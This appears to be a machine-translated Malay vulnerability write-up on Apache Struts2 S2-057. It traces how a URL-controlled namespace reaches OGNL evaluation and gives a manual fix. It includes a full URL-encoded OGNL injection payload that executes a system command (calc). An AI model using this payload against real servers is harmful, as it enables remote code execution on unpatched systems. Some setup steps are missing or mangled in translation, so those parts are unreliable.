Rangka kerja Apache Struts ialah projek sumber terbuka berdasarkan rangka kerja aplikasi Web Java Servlets, JavaBeans dan JavaServer Pages (JSP Struts adalah berdasarkan reka bentuk Model-). Corak View-Controller (MVC) boleh digunakan untuk membina aplikasi web yang kompleks. Ia membolehkan kami menguraikan kod logik perniagaan aplikasi, logik kawalan dan logik persembahan, menjadikannya lebih boleh digunakan semula dan diselenggara. Rangka kerja Struts adalah sebahagian daripada projek Jakarta dan diuruskan oleh Yayasan Perisian Apache.
Tianrongxin Alpha Lab akan membawakan kepada anda analisis kelemahan pelaksanaan kod jauh Apache Struts2 S2-057~
1. Versi sistem yang terjejas
Apache Struts 2.5 - Struts 2.5.16
Vulnerability No.
2. Persediaan persekitaran
2. Ubah suai fail konfigurasi struts-actionchaining.xml
Kerentanan ini mempunyai berbilang vektor serangan termasuk:
Tindakan ubah halaPerantaian tindakan
Hasil pos balik
Mengambil kaedah pertama sebagai contoh, ubah suai kandungan fail konfigurasi sebagai:
3. Butiran Kerentanan
Apabila alwaysSelectFullNamespace ditetapkan kepada benar, nilai ruang nama diperoleh daripada URL. URL boleh dikawal, jadi ruang nama juga boleh dikawal.
Selepas Tindakan dilaksanakan, atur cara akan memanggil kaedah execute() dalam kelas ServletActionRedirectResult untuk menghuraikan Keputusan ubah hala.
Pertama, apabila ruang nama kosong, panggil invocation.getProxy().getNamespace() untuk menetapkan nilai kepada ruang nama pembolehubah, dan kemudian hantar ruang nama pembolehubah ke dalam ActionMapping pembina.
Kemudian, ActionMapper.getUriFromActionMapping() menyusun semula nilai selepas ActionMapping, menjana rentetan URL (termasuk ruang nama) dan memberikannya kepada pembolehubah tmplocation.
Kemudian tmplocation dengan ruang nama dihantar ke kaedah setLocation().
Kaedah ini memberikan nilai tmpLocation kepada pembolehubah lokasi dalam kelas StrutsResultSupport.
Kemudian, jejak kaedah super.execute().
Teruskan jejak super.execute() dalam kelas ServletActionResult.
Dalam kaedah execute() dalam kelas StrutsResultSupport, pembolehubah lokasi (dengan ruang nama) yang baru diberikan dihantar ke kaedah conditionalParse().
Akhir sekali, penghuraian OGNL ruang nama melalui TextParseUtil.translateVariables() membawa kepada kerentanan pelaksanaan kod jauh.
4. Eksploitasi Kerentanan
Akses mencetuskan ungkapan OGNL, url menjadi /222/register2.action dan kelemahan wujud.
2. Muatan:
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
Muatan ini hanya terpakai pada versi siri 2.3.
5. Cadangan pembaikan
2. Pembaikan manual
Betulkan nilai ruang nama teg pakej dan teg param hasil, dan larang penggunaan kad bebas.
Atas ialah kandungan terperinci Cara melaksanakan analisis kelemahan pelaksanaan kod jauh Apache Struts2 S2-057. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!